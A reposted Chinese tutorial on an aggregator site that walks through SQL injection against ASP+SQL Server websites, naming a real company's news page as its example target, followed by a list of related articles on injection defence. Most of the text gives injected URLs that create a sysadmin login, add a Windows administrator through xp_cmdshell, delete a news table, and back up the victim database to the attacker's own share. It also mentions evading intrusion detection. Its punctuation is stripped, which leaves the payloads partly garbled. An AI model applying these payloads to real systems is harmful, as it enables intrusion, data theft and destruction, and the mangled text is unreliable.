知识大全 SQL数据库的一些攻击

Posted 数据库

篇首语:千磨万击还坚劲,任尔东西南北风。本文由小常识网(cha138.com)小编为大家整理,主要介绍了知识大全 SQL数据库的一些攻击相关的知识,希望对你有一定的参考价值。

SQL数据库的一些攻击  以下文字资料是由(全榜网网www.cha138.com)小编为大家搜集整理后发布的内容,让我们赶快一起来看一下吧!

  关于数据库的简单入侵和无赖破坏 以天融信做例子

  对于国内外的很多新闻 BBS和电子商务网站都采用ASP+SQL设计 而写 ASP的程序员很多(有很多刚刚毕业的) 所以 ASP+SQL的攻击成功率也比较高 这类攻击方法与NT的版本和SQL的版本没有多大的关系 也没有相应的补丁 因为漏洞是程序员自己造成的 而且大多数讲解ASP编程的书上 源代码例子就有这个漏洞存在 其实只是一些合法的ASP对SQL的请求 就留下后患无穷!      这种攻击方法最早源于 or = 的漏洞(我们暂且称其为漏洞) 这个漏洞的原理我想大家因该都知道了 那么随之而来的便是;exec  sp_addlogin hax(在数据库内添加一个hax用户) 但是这个方法的限制很大 首先ASP使用的SQL Server账号是个管理员 其次请求的提交变量在整个SQL语句的最后 因为有一些程序员采用SELECT * FROM news WHERE id= AND topic= AND     这种方法请求数据库 那么如果还用以上的例子就会    news asp?id= ;exec sp_addlogin hax   变成SELECT * FROM news WHERE id= ;exec sp_addlogin hax AND topic= AND    整个SQL语句在执行sp_addlogin的存储过程后有AND与判断存在 语法错误 你的sp_addlogin自然也不能正常运行了 因此试试看下面这个方 法   news asp?id= ;exec sp_addlogin hax;     后面的 符号把sp_addlogin后的判断语句变成了注释 这样就不会有语法错误了 sp_addlogin正常执行!      那么我们连一起来用吧     news asp?id= ;exec master dbo sp_addlogin hax;     news asp?id= ;exec master dbo sp_password null hax hax;     news asp?id= ;exec master dbo sp_addsrvrolemember sysadmin hax;     news asp?id= ;exec master dbo xp_cmdshell net user hax hax /workstations:* /times:all /passwordchg:yes /passwordreq:yes 

/active:yes /add ;     news asp?id= ;exec master dbo xp_cmdshell net localgroup administrators hax /add ;       这样 你在他的数据库和系统内都留下了hax管理员账号了       当然 前提条件是ASP用管理员账号 所以虚拟空间大家就别试了 不会存在这个漏洞的       以后我们会讨论 如果对方的ASP不是用SQL管理员账号 我们如何入侵 当然也会涉及到 端口的入侵 当然大家可以试试看在id= 后面加上一个 符号 主要看对方的ASP怎么写了          再说说当ASP程序使用的SQL账号不是管理员的时候我们该如何做       比如天融信的主页 有新闻内容 如下     // talentit cn/news/news asp?newid=       大家可以试试看// talentit cn/news/news asp?newid= ;select ;       呵呵 报语法错误 select 错误 显而易见 天融新的ASP在newid变量后面用 号结束      那么试试看// talentit cn/news/news asp?newid= ;delete news;       哈哈 我想只要表名猜对了 新闻库就被删了    

  通常ASP用的SQL账号就算不是管理员也会是某个数据库的owner 至少对于这个库有很高的管理权限       但是我们不知道库名该怎么?看看db_name()函数吧       打开你的query analyzer 看看print db_name() 呵呵 当前的数据库名就出来了       以次类推 如下 declare @a sysname;set @a=db_name();backup database @a to disk= 你的IP你的共享目录bak dat name= test ;       呵呵 他的当前数据库就备份到你的硬盘上了 接下来要做的大家心里都明白了吧       同理 这个方法可以找到对方的SQL的IP       先装一个防火墙 打开ICMP和 TCP和 TCP的警告提示       然后试试看news asp?id= ;exec master dbo xp_cmdshell ping 你的IP       如果防火墙提示有人ping你 那么因该可以肯定对方的ASP用的是SQL的管理员权限 同时也确定了对方的SQL Server的准确位置 因为很多大一点的网站考虑性能 会吧web服务和数据库分开 当对方打上了补丁看不到源代码时 我想只有这个方法能很快的定位对方的SQL Server的位置了       那么 如果对方ASP没有SQL管理员权限 我们就不能调用xp_cmdshell了 该怎么办?  别着急 试试看这个news asp?id= ;declare @a;set @a=db_name();backup database @a to disk= 你的IP你的共享目录bak dat   name= test ;       呵呵 你的防火墙该发出警告了 有人连接你的 或 (win 端口了 这样 对方的SQL的ip一样也可以暴露   那么如果对方连某个数据库的owner也不是的话 我们该怎么办?下次我会告诉大家一个更好的办法       其实backuo database到你的硬盘还是有点夸张了 如果对方数据库很庞大 你又是拨号上网 呵呵 劝你别试了 很难成功传输的      下次我们还会谈到如何骗过IDS执行ASP+SQL入侵 目前有些好的IDS已经开始监视xp_cmdshell这些关键字了       所有以上url希望大家通过vbscript提交 因为浏览器的地址栏会屏蔽一些特殊字符 这样你的命令就不能完整传输了    window location herf=URL 

cha138/Article/program/SQL/201311/16369

相关参考

知识大全 SQLServer数据库的攻击分析

SQLServer数据库的攻击分析  以下文字资料是由(全榜网网www.cha138.com)小编为大家搜集整理后发布的内容,让我们赶快一起来看一下吧!  SQL数据库的

知识大全 用三种策略应对SQL注入攻击[2]

SQL注入防御:用三种策略应对SQL注入攻击[2]  以下文字资料是由(全榜网网www.cha138.com)小编为大家搜集整理后发布的内容,让我们赶快一起来看一下吧! 

知识大全 用三种策略应对SQL注入攻击[1]

SQL注入防御:用三种策略应对SQL注入攻击[1]  以下文字资料是由(全榜网网www.cha138.com)小编为大家搜集整理后发布的内容,让我们赶快一起来看一下吧! 

知识大全 JSP如何防范SQL注入攻击

JSP如何防范SQL注入攻击  以下文字资料是由(全榜网网www.cha138.com)小编为大家搜集整理后发布的内容,让我们赶快一起来看一下吧!  上周给别人做了个网站

知识大全 关于JSP防范SQL注入攻击

关于JSP防范SQL注入攻击  以下文字资料是由(全榜网网www.cha138.com)小编为大家搜集整理后发布的内容,让我们赶快一起来看一下吧!  上周给别人做了个网站

知识大全 SQL注入攻击的原理及其防范措施

SQL注入攻击的原理及其防范措施  以下文字资料是由(全榜网网www.cha138.com)小编为大家搜集整理后发布的内容,让我们赶快一起来看一下吧!  ASP编程门槛很

知识大全 利用instr()函数防止SQL注入攻击[2]

利用instr()函数防止SQL注入攻击[2]  以下文字资料是由(全榜网网www.cha138.com)小编为大家搜集整理后发布的内容,让我们赶快一起来看一下吧!&nb

知识大全 利用instr()函数防止SQL注入攻击[1]

利用instr()函数防止SQL注入攻击[1]  以下文字资料是由(全榜网网www.cha138.com)小编为大家搜集整理后发布的内容,让我们赶快一起来看一下吧!&nb

知识大全 在PHP中全面阻止SQL注入式攻击

在PHP中全面阻止SQL注入式攻击  以下文字资料是由(全榜网网www.cha138.com)小编为大家搜集整理后发布的内容,让我们赶快一起来看一下吧!  在本系列文章中

知识大全 ASP.NET中如何防范SQL注入式攻击

ASP.NET中如何防范SQL注入式攻击  以下文字资料是由(全榜网网www.cha138.com)小编为大家搜集整理后发布的内容,让我们赶快一起来看一下吧!  一什么是